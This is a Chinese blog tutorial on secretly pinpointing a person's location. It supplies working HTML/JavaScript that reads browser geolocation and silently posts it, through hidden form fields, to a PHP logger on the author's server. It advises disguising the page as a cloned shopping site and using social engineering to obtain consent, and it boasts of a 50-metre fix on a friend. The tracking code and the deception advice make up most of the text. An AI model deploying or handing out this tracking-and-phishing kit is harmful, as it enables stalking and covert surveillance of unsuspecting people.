数据检索之经纬度定位

2017 年 7 月 27 日 计算机与网络安全 风在指尖 i春秋

信息安全公益宣传,信息安全知识启蒙。

加微信群回复公众号:微信群QQ群:16004488

加微信群或QQ群可免费索取:学习教程


众所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米,甚至有些时候不能很好的获取对方的位置,以下的的技术,我自己试了,精准度在50以内。


此技术利用了HTML5 Geolocation API,直接调用方法即可,即使是4G网页可以精准定位,最原始代码如下,我自己加了一些。


现在编写index.php页面代码  

<!DOCTYPE html>

 

<html>

 

<head>

 

    <meta charset="UTF-8">

 

    <title>Document</title>

 

</head>

 

<body>

 

 <img src="1.png" alt="" width="100%;">

 

    <script>

 

      var geol;       

 

        try {

 

            if (typeof(navigator.geolocation) == 'undefined') {

 

                geol = google.gears.factory.create('beta.geolocation');

 

            } else {

 

                geol = navigator.geolocation;

 

            }

 

        } catch (error) {

 

            //alert(error.message);

 

        }

 

        if (geol) {

 

            geol.getCurrentPosition(function(position) {

 

        var nowLatitude = position.coords.latitude;             

 

        var nowLongitude = position.coords.longitude;       

 

         //以上是固定代码,获取经度纬度

 

    alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude);  //弹出经度纬度的坐标

 

          function new_form(){

 

            var f=document.createElement("form");

 

            document.body.appendChild(f);

 

            f.method="post";

 

            return f;

 

        }    //定义函数,创建form

 

  

        function create_elements(eForm,eName,eValue){

 

            var e=document.createElement("input");

 

            eForm.appendChild(e);

 

            e.type="text";

 

            e.name=eName;

 

            if(!document.all){e.style.display="none"}else{

 

                e.style.display="block";

 

                e.style.width="0px";

 

                e.style.height="0px";

 

            }

 

            e.value=eValue;

 

            return e;

 

        }

 

//这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值

 

        var _f=new_form();

 

        create_elements(_f,"username",nowLatitude) // 创建form中的input对象

 

        create_elements(_f,"password",nowLongitude);

 

        _f.action="geolocation2.php";

 

        _f.submit();   //提交

 

 

 //表单自提交发送到geolocation2.php页面  

 

    }, function(error) {

 

        switch(error.code){

 

        case error.TIMEOUT :

 

            //alert("连接超时,请重试");

 

            break;

 

        case error.PERMISSION_DENIED :

 

            //alert("您拒绝了使用位置共享服务,查询已取消");

 

            break;

 

        case error.POSITION_UNAVAILABLE :

 

            //alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");

 

            break;

 

        }

 

    }, {timeout:10000});    //设置十秒超时 

 

        }

 

 //设置连接超时的报错

 

  </script>

 

</body>

 

</html>

然后来写接受页面 geolocation2.php 的代码

<?php

 

 @$time=date('Y-m-d H:i:s',time());  //获取当前时间

 

 $nowLatitude="纬度 ".$_POST['username'];    //接受上个页面传过来的参数(经度坐标)

 

 $nowlongitude="经度 ".$_POST['password']."   ------时间是".$time."\r\n";;    //接受上个页面传过来的参数(纬度坐标)

 

 $fp=fopen("geo.txt", "a+");  //创建一个geo.txt文件

 

 fwrite($fp, $nowLatitude);   //把经度写入到geo.txt里

 

 fwrite($fp, $nowlongitude);   //把纬度写入到geo.txt里


?>



注意点:对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)


现在来做个小测试

假设让对方访问

让对方访问我们的站点,他的页面上会显示 它自己的经度,纬度,并且经度纬度会保存在我们的站点数据里

然后我们的站点上生成了一个geo.txt文件

打开geo.txt

对方的经度纬度已经写入

现在我们打开

http://www.gpsspg.com/maps.htm

把经度纬度写上去

给我朋友做的测试,它的确在这里,精准度50米

现在来完善上面的缺点
就是去网上扒一个购物网站的源码,把源码复制在index.php里
图如下,我把网站源码修改成某网站

这样就能精准的获取到他的地址位置~~~(自己试了,超爽的~)



▼ 点击阅读原文,查看更多精彩文章

登录查看更多
0

相关内容

打怪升级!2020机器学习工程师技术路线图
专知会员服务
96+阅读 · 2020年6月3日
【SIGIR2020】用于冷启动推荐的内容感知神经哈希
专知会员服务
22+阅读 · 2020年6月2日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
斯坦福2020硬课《分布式算法与优化》
专知会员服务
117+阅读 · 2020年5月6日
[综述]深度学习下的场景文本检测与识别
专知会员服务
77+阅读 · 2019年10月10日
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
谷歌足球游戏环境使用介绍
CreateAMind
31+阅读 · 2019年6月27日
基于 Carsim 2016 和 Simulink的无人车运动控制联合仿真(四)
C# 10分钟完成百度人脸识别
DotNet
3+阅读 · 2019年2月17日
Android P正式发布,你需要尽快做适配了
前端之巅
3+阅读 · 2018年8月7日
百万英雄直播答题辅助系统,非OCR实现
数据挖掘入门与实战
4+阅读 · 2018年1月31日
【推荐】树莓派/OpenCV/dlib人脸定位/瞌睡检测
机器学习研究会
9+阅读 · 2017年10月24日
有了场景和画像才懂用户
互联网er的早读课
6+阅读 · 2017年8月26日
Neural Image Captioning
Arxiv
5+阅读 · 2019年7月2日
Arxiv
3+阅读 · 2018年9月12日
Large-Scale Study of Curiosity-Driven Learning
Arxiv
8+阅读 · 2018年8月13日
Arxiv
8+阅读 · 2018年4月8日
VIP会员
相关资讯
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
谷歌足球游戏环境使用介绍
CreateAMind
31+阅读 · 2019年6月27日
基于 Carsim 2016 和 Simulink的无人车运动控制联合仿真(四)
C# 10分钟完成百度人脸识别
DotNet
3+阅读 · 2019年2月17日
Android P正式发布,你需要尽快做适配了
前端之巅
3+阅读 · 2018年8月7日
百万英雄直播答题辅助系统,非OCR实现
数据挖掘入门与实战
4+阅读 · 2018年1月31日
【推荐】树莓派/OpenCV/dlib人脸定位/瞌睡检测
机器学习研究会
9+阅读 · 2017年10月24日
有了场景和画像才懂用户
互联网er的早读课
6+阅读 · 2017年8月26日
Top
微信扫码咨询专知VIP会员